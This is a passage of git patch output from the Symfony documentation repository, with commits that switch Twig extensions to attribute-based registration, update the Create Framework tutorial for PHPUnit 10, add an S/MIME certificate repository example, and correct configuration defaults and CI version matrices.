+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -455,7 +469,7 @@ As an alternative, you can add the
 :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsTargetedValueResolver` attribute
 to your resolver and pass your custom name as its first argument::
 
-    // src/ValueResolver/IdentifierValueResolver.php
+    // src/ValueResolver/BookingIdValueResolver.php
     namespace App\ValueResolver;
 
     use Symfony\Component\HttpKernel\Attribute\AsTargetedValueResolver;

From 15849ea5cead4abf20e5dd4d7d14a4cff366d291 Mon Sep 17 00:00:00 2001
From: RisingSunLight <risingsunlightdev@gmail.com>
Date: Sat, 12 Apr 2025 17:38:38 +0200
Subject: [PATCH 6939/7107] [TwigBundle] Enable `#[AsTwigFilter]`,
 `#[AsTwigFunction]` and `#[AsTwigTest]`

---
 quick_tour/the_architecture.rst | 19 ++++-------
 reference/attributes.rst        |  2 ++
 templates.rst                   | 56 +++++++++++++++++----------------
 3 files changed, 37 insertions(+), 40 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index a323461885d..9f76dac3a23 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -159,29 +159,22 @@ Twig Extension & Autoconfiguration
 Thanks to Symfony's service handling, you can *extend* Symfony in many ways, like
 by creating an event subscriber or a security voter for complex authorization
 rules. Let's add a new filter to Twig called ``greet``. How? Create a class
-that extends ``AbstractExtension``::
+with your logic::
 
     // src/Twig/GreetExtension.php
     namespace App\Twig;
 
     use App\GreetingGenerator;
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
+    use Twig\Attribute\AsTwigFilter;
 
-    class GreetExtension extends AbstractExtension
+    class GreetExtension
     {
         public function __construct(
             private GreetingGenerator $greetingGenerator,
         ) {
         }
 
-        public function getFilters(): array
-        {
-            return [
-                new TwigFilter('greet', [$this, 'greetUser']),
-            ];
-        }
-
+        #[AsTwigFilter('greet')]
         public function greetUser(string $name): string
         {
             $greeting =  $this->greetingGenerator->getRandomGreeting();
@@ -197,8 +190,8 @@ After creating just *one* file, you can use this immediately:
     {# templates/default/index.html.twig #}
     {# Will print something like "Hey Symfony!" #}
     <h1>{{ name|greet }}</h1>
-
-How does this work? Symfony notices that your class extends ``AbstractExtension``
+    
+How does this work? Symfony notices that your class uses a Twig attribute
 and so *automatically* registers it as a Twig extension. This is called autoconfiguration,
 and it works for *many* many things. Create a class and then extend a base class
 (or implement an interface). Symfony takes care of the rest.
diff --git a/reference/attributes.rst b/reference/attributes.rst
index a8399dafe28..7878446351c 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -123,6 +123,8 @@ Twig
 ~~~~
 
 * :ref:`Template <templates-template-attribute>`
+* :ref:`AsTwigFilter <templates-twig-filter-attribute>`
+* :ref:`AsTwigFunction <templates-twig-function-attribute>`
 
 Symfony UX
 ~~~~~~~~~~
diff --git a/templates.rst b/templates.rst
index c6312abb33c..bad63550786 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1553,23 +1553,20 @@ as currency:
     {# pass in the 3 optional arguments #}
     {{ product.price|price(2, ',', '.') }}
 
-Create a class that extends ``AbstractExtension`` and fill in the logic::
+.. _templates-twig-filter-attribute:
+
+Create a class with a method that contains the filter logic, then add
+the ``#[AsTwigFilter]`` attribute to define the name and options of
+the Twig filter::
 
     // src/Twig/AppExtension.php
     namespace App\Twig;
 
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFilter;
+    use Twig\Attribute\AsTwigFilter;
 
-    class AppExtension extends AbstractExtension
+    class AppExtension
     {
-        public function getFilters(): array
-        {
-            return [
-                new TwigFilter('price', [$this, 'formatPrice']),
-            ];
-        }
-
+        #[AsTwigFilter('price')]
         public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
@@ -1579,24 +1576,19 @@ Create a class that extends ``AbstractExtension`` and fill in the logic::
         }
     }
 
-If you want to create a function instead of a filter, define the
-``getFunctions()`` method::
+.. _templates-twig-function-attribute:
+
+If you want to create a function instead of a filter, use the
+``#[AsTwigFunction]`` attribute::
 
     // src/Twig/AppExtension.php
     namespace App\Twig;
 
-    use Twig\Extension\AbstractExtension;
-    use Twig\TwigFunction;
+    use Twig\Attribute\AsTwigFunction;
 
-    class AppExtension extends AbstractExtension
+    class AppExtension
     {
-        public function getFunctions(): array
-        {
-            return [
-                new TwigFunction('area', [$this, 'calculateArea']),
-            ];
-        }
-
+        #[AsTwigFunction('area')]
         public function calculateArea(int $width, int $length): int
         {
             return $width * $length;
@@ -1608,6 +1600,16 @@ If you want to create a function instead of a filter, define the
     Along with custom filters and functions, you can also register
     `global variables`_.
 
+.. versionadded:: 7.3
+
+    Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]`` attributes was introduced in Symfony 7.3.
+    Previously, you had to extend the ``AbstractExtension`` class, and override the
+    ``getFilters()`` and ``getFunctions()`` methods.
+
+When using autoconfiguration, the tag ``twig.attribute_extension`` is added automatically
+when a Twig attribute is used on a method of a class. Otherwise, when autoconfiguration is not enabled,
+it needs to be added in the service definition.
+
 Register an Extension as a Service
 ..................................
 
@@ -1631,10 +1633,10 @@ this command to confirm that your new filter was successfully registered:
 Creating Lazy-Loaded Twig Extensions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Including the code of the custom filters/functions in the Twig extension class
-is the simplest way to create extensions. However, Twig must initialize all
-extensions before rendering any template, even if the template doesn't use an
-extension.
+When using attributes to extend Twig, the services are initialized only when
+the functions or filters are used to render the template. But in case you use the
+classic approach by extending the ``AbstractExtension`` class, Twig initializes all the extensions before
+rendering any template, even if the extension is not used in the template.
 
 If extensions don't define dependencies (i.e. if you don't inject services in
 them) performance is not affected. However, if extensions define lots of complex

From a657538730c00bdf0ad8cbb6c87dfe5adbc67802 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Apr 2025 13:43:06 +0200
Subject: [PATCH 6940/7107] Tweaks

---
 quick_tour/the_architecture.rst |  2 +-
 reference/attributes.rst        |  1 +
 templates.rst                   | 27 +++++++++++++++------------
 3 files changed, 17 insertions(+), 13 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 9f76dac3a23..fd7781c4944 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -191,7 +191,7 @@ After creating just *one* file, you can use this immediately:
     {# Will print something like "Hey Symfony!" #}
     <h1>{{ name|greet }}</h1>
     
-How does this work? Symfony notices that your class uses a Twig attribute
+How does this work? Symfony notices that your class uses the ``#[AsTwigFilter]`` attribute
 and so *automatically* registers it as a Twig extension. This is called autoconfiguration,
 and it works for *many* many things. Create a class and then extend a base class
 (or implement an interface). Symfony takes care of the rest.
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 7878446351c..eb09f4aa6bc 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -125,6 +125,7 @@ Twig
 * :ref:`Template <templates-template-attribute>`
 * :ref:`AsTwigFilter <templates-twig-filter-attribute>`
 * :ref:`AsTwigFunction <templates-twig-function-attribute>`
+* ``AsTwigTest``
 
 Symfony UX
 ~~~~~~~~~~
diff --git a/templates.rst b/templates.rst
index bad63550786..530f98fcd5d 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1555,8 +1555,8 @@ as currency:
 
 .. _templates-twig-filter-attribute:
 
-Create a class with a method that contains the filter logic, then add
-the ``#[AsTwigFilter]`` attribute to define the name and options of
+Create a regular PHP class with a method that contains the filter logic. Then,
+add the ``#[AsTwigFilter]`` attribute to define the name and options of
 the Twig filter::
 
     // src/Twig/AppExtension.php
@@ -1602,13 +1602,15 @@ If you want to create a function instead of a filter, use the
 
 .. versionadded:: 7.3
 
-    Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]`` attributes was introduced in Symfony 7.3.
-    Previously, you had to extend the ``AbstractExtension`` class, and override the
-    ``getFilters()`` and ``getFunctions()`` methods.
+    Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]``
+    attributes was introduced in Symfony 7.3. Previously, you had to extend the
+    ``AbstractExtension`` class, and override the ``getFilters()`` and ``getFunctions()``
+    methods.
 
-When using autoconfiguration, the tag ``twig.attribute_extension`` is added automatically
-when a Twig attribute is used on a method of a class. Otherwise, when autoconfiguration is not enabled,
-it needs to be added in the service definition.
+If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
+the :ref:`service autoconfiguration <services-autoconfigure>` feature will enable
+this class as a Twig extension. Otherwise, you need to define a service manually
+and :doc:`tag it </service_container/tags>` with the ``twig.attribute_extension`` tag.
 
 Register an Extension as a Service
 ..................................
@@ -1633,10 +1635,11 @@ this command to confirm that your new filter was successfully registered:
 Creating Lazy-Loaded Twig Extensions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When using attributes to extend Twig, the services are initialized only when
-the functions or filters are used to render the template. But in case you use the
-classic approach by extending the ``AbstractExtension`` class, Twig initializes all the extensions before
-rendering any template, even if the extension is not used in the template.
+When :ref:`using attributes to extend Twig <templates-twig-filter-attribute>`,
+the **Twig extensions are already lazy-loaded** and you don't have to do anything
+else. However, if your Twig extensions follow the **legacy approach** of extending
+the ``AbstractExtension`` class, Twig initializes all the extensions before
+rendering any template, even if they are not used.
 
 If extensions don't define dependencies (i.e. if you don't inject services in
 them) performance is not affected. However, if extensions define lots of complex

From 3ae4fec5293e8c0bd2a80f95c69a389e8e38ce4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 30 Apr 2025 13:45:14 +0200
Subject: [PATCH 6941/7107] Remove some unneeded extra space

---
 quick_tour/the_architecture.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index fd7781c4944..3b66570b3d3 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -190,7 +190,7 @@ After creating just *one* file, you can use this immediately:
     {# templates/default/index.html.twig #}
     {# Will print something like "Hey Symfony!" #}
     <h1>{{ name|greet }}</h1>
-    
+
 How does this work? Symfony notices that your class uses the ``#[AsTwigFilter]`` attribute
 and so *automatically* registers it as a Twig extension. This is called autoconfiguration,
 and it works for *many* many things. Create a class and then extend a base class

From 8bbe446aaf5dcd6e0f197590f8d48fa0e73888bc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 13:46:45 +0200
Subject: [PATCH 6942/7107] Fix setParameter for RouteCollection in Create
 Framework tutorial

---
 create_framework/dependency_injection.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index de3c4e11e4e..9b6fb1299d2 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -227,16 +227,16 @@ object::
     $container->setParameter('charset', 'UTF-8');
 
 Instead of relying on the convention that the routes are defined by the
-``$routes`` variables, let's use a parameter again::
+``$routes`` variables, let's use a reference::
 
     // ...
     $container->register('matcher', Routing\Matcher\UrlMatcher::class)
-        ->setArguments(['%routes%', new Reference('context')])
+        ->setArguments([new Reference('routes'), new Reference('context')])
     ;
 
 And the related change in the front controller::
 
-    $container->setParameter('routes', include __DIR__.'/../src/app.php');
+    $container->set('routes', $routes);
 
 We have barely scratched the surface of what you can do with the
 container: from class names as parameters, to overriding existing object

From cc8977da58f96558e64a5987d78b4e65fb98cba4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 14:27:07 +0200
Subject: [PATCH 6943/7107] Use phpunit 10 in Create Framework tutorial

---
 create_framework/unit_testing.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 32c97a03846..f935a024b20 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit:^9.6
+    $ composer require --dev phpunit/phpunit:^10.0
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,16 +21,16 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.6/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/10.0/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
     >
-        <coverage processUncoveredFiles="true">
+        <source>
             <include>
                 <directory suffix=".php">./src</directory>
             </include>
-        </coverage>
+        </source>
 
         <testsuites>
             <testsuite name="Test Suite">
@@ -103,12 +103,12 @@ We are now ready to write our first test::
             $matcher
                 ->expects($this->once())
                 ->method('match')
-                ->will($this->throwException($exception))
+                ->willThrowException($exception)
             ;
             $matcher
                 ->expects($this->once())
                 ->method('getContext')
-                ->will($this->returnValue($this->createMock(Routing\RequestContext::class)))
+                ->willReturn($this->createMock(Routing\RequestContext::class))
             ;
             $controllerResolver = $this->createMock(ControllerResolverInterface::class);
             $argumentResolver = $this->createMock(ArgumentResolverInterface::class);
@@ -161,16 +161,16 @@ Response::
         $matcher
             ->expects($this->once())
             ->method('match')
-            ->will($this->returnValue([
+            ->willReturn([
                 '_route' => 'is_leap_year/{year}',
                 'year' => '2000',
                 '_controller' => [new LeapYearController(), 'index'],
-            ]))
+            ])
         ;
         $matcher
             ->expects($this->once())
             ->method('getContext')
-            ->will($this->returnValue($this->createMock(Routing\RequestContext::class)))
+            ->willReturn($this->createMock(Routing\RequestContext::class))
         ;
         $controllerResolver = new ControllerResolver();
         $argumentResolver = new ArgumentResolver();
@@ -194,7 +194,7 @@ coverage feature (you need to enable `XDebug`_ first):
 
     $ ./vendor/bin/phpunit --coverage-html=cov/
 
-Open ``example.com/cov/src/Simplex/Framework.php.html`` in a browser and check
+Open ``example.com/cov/Simplex/Framework.php.html`` in a browser and check
 that all the lines for the Framework class are green (it means that they have
 been visited when the tests were executed).
 
@@ -212,6 +212,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://docs.phpunit.de/en/9.6/
-.. _`test doubles`: https://docs.phpunit.de/en/9.6/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/10.0/
+.. _`test doubles`: https://docs.phpunit.de/en/10.0/test-doubles.html
 .. _`XDebug`: https://xdebug.org/

From c6a7fe6101319a3d2167013f46aa9bda56de5bc3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 4 May 2025 14:21:38 +0200
Subject: [PATCH 6944/7107] [Mailer][Mime] Refactor S/MIME encryption handling
 in SMimeEncryptionListener

---
 mailer.rst | 31 ++++++++++++++++++++++++++++---
 1 file changed, 28 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d368048aec8..a562263f24c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1532,7 +1532,7 @@ encrypter that automatically applies to all outgoing messages:
         framework:
             mailer:
                 smime_encrypter:
-                    certificate: '%kernel.project_dir%/var/certificates/smime.crt'
+                    repository: app.my_smime_encrypter
 
     .. code-block:: xml
 
@@ -1549,7 +1549,7 @@ encrypter that automatically applies to all outgoing messages:
             <framework:config>
                 <framework:mailer>
                     <framework:smime-encrypter>
-                        <framework:certificate>%kernel.project_dir%/var/certificates/smime.crt</framework:certificate>
+                        <framework:repository>app.my_smime_encrypter</framework:repository>
                     </framework:smime-encrypter>
                 </framework:mailer>
             </framework:config>
@@ -1563,10 +1563,35 @@ encrypter that automatically applies to all outgoing messages:
         return static function (FrameworkConfig $framework): void {
             $mailer = $framework->mailer();
             $mailer->smimeEncrypter()
-                    ->certificate('%kernel.project_dir%/var/certificates/smime.crt')
+                    ->repository('app.my_smime_encrypter')
             ;
         };
 
+The ``repository`` option must be a service ID that implements
+:class:`Symfony\\Component\\Mailer\\EventListener\\SmimeCertificateRepositoryInterface`::
+
+    namespace App\Security;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\Mailer\EventListener\SmimeCertificateRepositoryInterface;
+
+    class LocalFileCertificateRepository implements SmimeCertificateRepositoryInterface
+    {
+        public function __construct(
+            #[Autowire(param: 'kernel.project_dir')]
+            private readonly string $projectDir
+        ){}
+
+        public function findCertificatePathFor(string $email): ?string
+        {
+            $hash = hash('sha256', strtolower(trim($email)));
+            $path = sprintf('%s/storage/%s.crt', $this->projectDir, $hash);
+
+            return file_exists($path) ? $path : null;
+        }
+    }
+
+
 .. versionadded:: 7.3
 
     Global message encryption configuration was introduced in Symfony 7.3.

From 454536494fc670d15c38df55290d76246cad6798 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Mon, 5 May 2025 09:16:56 +0200
Subject: [PATCH 6945/7107] fix default value for the "collect_serializer_data"
 option

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 56a7dfe54b1..b9ce997e128 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2354,7 +2354,7 @@ Combine it with the ``collect`` option to enable/disable the profiler on demand:
 collect_serializer_data
 .......................
 
-**type**: ``boolean`` **default**: ``true``
+**type**: ``boolean`` **default**: ``false``
 
 When this option is ``true``, all normalizers and encoders are
 decorated by traceable implementations that collect profiling information about them.

From 56b6e317bbccd05c663e082af0c1a39d1b71819c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 13:41:26 +0200
Subject: [PATCH 6946/7107] Update Create Framework tutorial

---
 create_framework/dependency_injection.rst            | 2 +-
 create_framework/event_dispatcher.rst                | 4 ++--
 create_framework/http_foundation.rst                 | 2 +-
 create_framework/http_kernel_controller_resolver.rst | 9 ---------
 create_framework/http_kernel_httpkernel_class.rst    | 1 -
 5 files changed, 4 insertions(+), 14 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index de3c4e11e4e..59b1275fcd4 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -10,7 +10,6 @@ to it::
     namespace Simplex;
 
     use Symfony\Component\EventDispatcher\EventDispatcher;
-    use Symfony\Component\HttpFoundation;
     use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
@@ -199,6 +198,7 @@ Now, here is how you can register a custom listener in the front controller::
 
     // ...
     use Simplex\StringResponseListener;
+    use Symfony\Component\DependencyInjection\Reference;
 
     $container->register('listener.string_response', StringResponseListener::class);
     $container->getDefinition('dispatcher')
diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index 650e4c7554e..9a3a48942ac 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -121,7 +121,7 @@ the registration of a listener for the ``response`` event::
         $response = $event->getResponse();
 
         if ($response->isRedirection()
-            || ($response->headers->has('Content-Type') && false === strpos($response->headers->get('Content-Type'), 'html'))
+            || ($response->headers->has('Content-Type') && !str_contains($response->headers->get('Content-Type'), 'html'))
             || 'html' !== $event->getRequest()->getRequestFormat()
         ) {
             return;
@@ -200,7 +200,7 @@ Let's refactor the code a bit by moving the Google listener to its own class::
             $response = $event->getResponse();
 
             if ($response->isRedirection()
-                || ($response->headers->has('Content-Type') && false === strpos($response->headers->get('Content-Type'), 'html'))
+                || ($response->headers->has('Content-Type') && !str_contains($response->headers->get('Content-Type'), 'html'))
                 || 'html' !== $event->getRequest()->getRequestFormat()
             ) {
                 return;
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 219119164b4..71146b1785c 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -189,7 +189,7 @@ fingertips thanks to a nice and simple API::
     // retrieves a COOKIE value
     $request->cookies->get('PHPSESSID');
 
-    // retrieves a HTTP request header, with normalized, lowercase keys
+    // retrieves an HTTP request header, with normalized, lowercase keys
     $request->headers->get('host');
     $request->headers->get('content-type');
 
diff --git a/create_framework/http_kernel_controller_resolver.rst b/create_framework/http_kernel_controller_resolver.rst
index 1c2857c9ed9..6c7e469da27 100644
--- a/create_framework/http_kernel_controller_resolver.rst
+++ b/create_framework/http_kernel_controller_resolver.rst
@@ -165,15 +165,6 @@ Let's conclude with the new version of our framework::
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 
-    function render_template(Request $request): Response
-    {
-        extract($request->attributes->all(), EXTR_SKIP);
-        ob_start();
-        include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
-
-        return new Response(ob_get_clean());
-    }
-
     $request = Request::createFromGlobals();
     $routes = include __DIR__.'/../src/app.php';
 
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index fa673f9ba57..05d9ad6d93e 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -39,7 +39,6 @@ And the new front controller::
     use Symfony\Component\EventDispatcher\EventDispatcher;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\RequestStack;
-    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 

From ca92b574d5ecab33d3d258dfd607511c39f36c54 Mon Sep 17 00:00:00 2001
From: Ruben Petrosjan <rubenann@yahoo.com>
Date: Wed, 2 Apr 2025 14:55:27 +0200
Subject: [PATCH 6947/7107] Update framework.rst

Docs correction
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2274addf1aa..d8e59bb8da2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -128,7 +128,7 @@ and public.
 allow_reload
 ............
 
-**type**: ``string``
+**type**: ``boolean`` **default**: ``false``
 
 Specifies whether the client can force a cache reload by including a
 Cache-Control "no-cache" directive in the request. Set it to ``true``
@@ -137,7 +137,7 @@ for compliance with RFC 2616. (default: false)
 allow_revalidate
 ................
 
-**type**: ``string``
+**type**: ``boolean`` **default**: ``false``
 
 Specifies whether the client can force a cache revalidate by including a
 Cache-Control "max-age=0" directive in the request. Set it to ``true``

From 50287214427bad636b56e1644ef19e9f5ab50155 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 May 2025 13:33:32 +0200
Subject: [PATCH 6948/7107] [Reference] Update the default values of some
 options

---
 reference/configuration/framework.rst | 28 +++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d8e59bb8da2..e12c321b1fa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -86,32 +86,32 @@ trace_level
 
 For 'short', a concise trace of the main request will be added as an HTTP header.
 'full' will add traces for all requests (including ESI subrequests).
-(default: 'full' if in debug; 'none' otherwise)
+(default: ``'full'`` if in debug; ``'none'`` otherwise)
 
 trace_header
 ............
 
-**type**: ``string``
+**type**: ``string`` **default**: ``'X-Symfony-Cache'``
 
-Header name to use for traces. (default: X-Symfony-Cache)
+Header name to use for traces.
 
 default_ttl
 ...........
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``0``
 
 The number of seconds that a cache entry should be considered fresh when no
 explicit freshness information is provided in a response. Explicit
-Cache-Control or Expires headers override this value. (default: 0)
+Cache-Control or Expires headers override this value.
 
 private_headers
 ...............
 
-**type**: ``array``
+**type**: ``array``  **default**: ``['Authorization', 'Cookie']``
 
 Set of request headers that trigger "private" cache-control behavior on responses
 that don't explicitly state whether the response is public or private via a
-Cache-Control directive. (default: Authorization and Cookie)
+Cache-Control directive.
 
 skip_response_headers
 .....................
@@ -132,7 +132,7 @@ allow_reload
 
 Specifies whether the client can force a cache reload by including a
 Cache-Control "no-cache" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+for compliance with RFC 2616.
 
 allow_revalidate
 ................
@@ -141,27 +141,27 @@ allow_revalidate
 
 Specifies whether the client can force a cache revalidate by including a
 Cache-Control "max-age=0" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+for compliance with RFC 2616.
 
 stale_while_revalidate
 ......................
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``2``
 
 Specifies the default number of seconds (the granularity is the second as the
 Response TTL precision is a second) during which the cache can immediately return
-a stale response while it revalidates it in the background (default: 2).
+a stale response while it revalidates it in the background.
 This setting is overridden by the stale-while-revalidate HTTP Cache-Control
 extension (see RFC 5861).
 
 stale_if_error
 ..............
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``60``
 
 Specifies the default number of seconds (the granularity is the second) during
-which the cache can serve a stale response when an error is encountered
-(default: 60). This setting is overridden by the stale-if-error HTTP
+which the cache can serve a stale response when an error is encountered.
+This setting is overridden by the stale-if-error HTTP
 Cache-Control extension (see RFC 5861).
 
 terminate_on_cache_hit

From e66bd632014d4a11cce7b8e8e13c700fd63671b1 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Mon, 5 May 2025 10:15:42 -0400
Subject: [PATCH 6949/7107] remove reference to Travis CI (no longer free)

On a related note, the test matrix is old, referencing Symfony 4.  But I'm not sure of the best way to rework this.
---
 bundles/best_practices.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 37dc386b8e4..f04a557393c 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -195,8 +195,7 @@ Continuous Integration
 
 Testing bundle code continuously, including all its commits and pull requests,
 is a good practice called Continuous Integration. There are several services
-providing this feature for free for open source projects, like `GitHub Actions`_
-and `Travis CI`_.
+providing this feature for free for open source projects, like `GitHub Actions`_.
 
 A bundle should at least test:
 

From 347989eaca7d1f87cc7d2c5182cfa98fd691fa4d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 May 2025 09:01:01 +0200
Subject: [PATCH 6950/7107] Minor tweaks

---
 bundles/best_practices.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f04a557393c..a588e8bb2fb 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -201,18 +201,18 @@ A bundle should at least test:
 
 * The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
 * The supported PHP versions;
-* All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
+* All supported major Symfony versions (e.g. both ``6.4`` and ``7.x`` if
   support is claimed for both).
 
-Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 4.4 and 5.x should
+Thus, a bundle supporting PHP 7.4, 8.3 and 8.4, and Symfony 6.4 and 7.x should
 have at least this test matrix:
 
 ===========  ===============  ===================
 PHP version  Symfony version  Composer flags
 ===========  ===============  ===================
-7.3          ``4.*``          ``--prefer-lowest``
-7.4          ``5.*``
-8.0          ``5.*``
+7.4          ``6.4``          ``--prefer-lowest``
+8.3          ``7.*``
+8.4          ``7.*``
 ===========  ===============  ===================
 
 .. tip::
@@ -232,10 +232,10 @@ with Symfony Flex to install a specific Symfony version:
 
 .. code-block:: bash
 
-    # this requires Symfony 5.x for all Symfony packages
-    export SYMFONY_REQUIRE=5.*
+    # this requires Symfony 6.x for all Symfony packages
+    export SYMFONY_REQUIRE=6.*
     # alternatively you can run this command to update composer.json config
-    # composer config extra.symfony.require "5.*"
+    # composer config extra.symfony.require "6.*"
 
     # install Symfony Flex in the CI environment
     composer global config --no-plugins allow-plugins.symfony/flex true
@@ -567,4 +567,3 @@ Learn more
 .. _`choose any license`: https://choosealicense.com/
 .. _`valid license identifier`: https://spdx.org/licenses/
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
-.. _`Travis CI`: https://docs.travis-ci.com/

From db23f1f95da99aa5ee5fae2f25a053f580bb7e1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 May 2025 09:07:54 +0200
Subject: [PATCH 6951/7107] Update some Symfony versions in bundle's best
 practices article

---
 bundles/best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index a588e8bb2fb..023b58af162 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -232,10 +232,10 @@ with Symfony Flex to install a specific Symfony version:
 
 .. code-block:: bash
 
-    # this requires Symfony 6.x for all Symfony packages
-    export SYMFONY_REQUIRE=6.*
+    # this requires Symfony 7.x for all Symfony packages
+    export SYMFONY_REQUIRE=7.*
     # alternatively you can run this command to update composer.json config
